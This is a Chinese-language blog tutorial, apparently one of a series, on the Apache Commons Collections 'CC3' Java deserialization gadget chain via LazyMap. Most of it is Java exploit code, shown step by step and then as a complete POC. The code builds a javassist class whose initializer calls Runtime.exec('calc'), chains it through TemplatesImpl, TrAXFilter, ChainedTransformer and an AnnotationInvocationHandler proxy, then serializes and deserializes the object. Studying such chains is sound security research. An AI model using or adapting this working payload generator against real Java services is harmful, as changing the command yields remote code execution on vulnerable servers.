上篇文章講到CC3的TransformedMap鍊,這篇我們就來講一下LazyMap鍊。
其實LazyMap鍊還是使用的TemplatesImpl承載payload,InstantiateTransformer、TrAXFilter、ChainedTransformer這三個來構造調用鍊。
和另一條鍊的差別:
主要差別在于調用ChainedTransformer的transform方法是使用LazyMap的get方法觸發。反序列化入口還是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap調用順序有差異。
下圖為LazyMap中的get方法
構造調用鍊
前面都一樣,利用javassist建立了一個攻擊類放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer這三個來構造調用鍊。
public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
ClassPool classPool = ClassPool.getDefault();//傳回預設的類池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
CtClass payload = classPool.makeClass("CommonsCollections2");//建立一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設定CommonsCollections2類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
byte[] bytes = payload.toBytecode();//轉換為byte數組
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
利用LazyMap的decorate方法,把chain指派給factory

Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
後面就和CC1的LazyMap調用鍊一樣了。AnnotationInvocationHandler類中invoke方法調用了get
是以利用反射構造方法傳入this.memberValues=LazyMap
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
再使用動态代理觸發AnnotationInvocationHandler的invoke方法
複習一個知識點:proxy對象調用任何方法,都會通過其對應的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
最終POC
public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
ClassPool classPool = ClassPool.getDefault();//傳回預設的類池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
CtClass payload = classPool.makeClass("CommonsCollections2");//建立一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設定CommonsCollections2類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
byte[] bytes = payload.toBytecode();//轉換為byte數組
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(anno2);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
CC3就此分析完了,是不是覺得有點像CC1和CC2的結合版本,其實整個CC鍊來說,搞定了CC1和CC2,其他的都是這幾個類的互相調用了,是以着重分析CC1和CC2哦。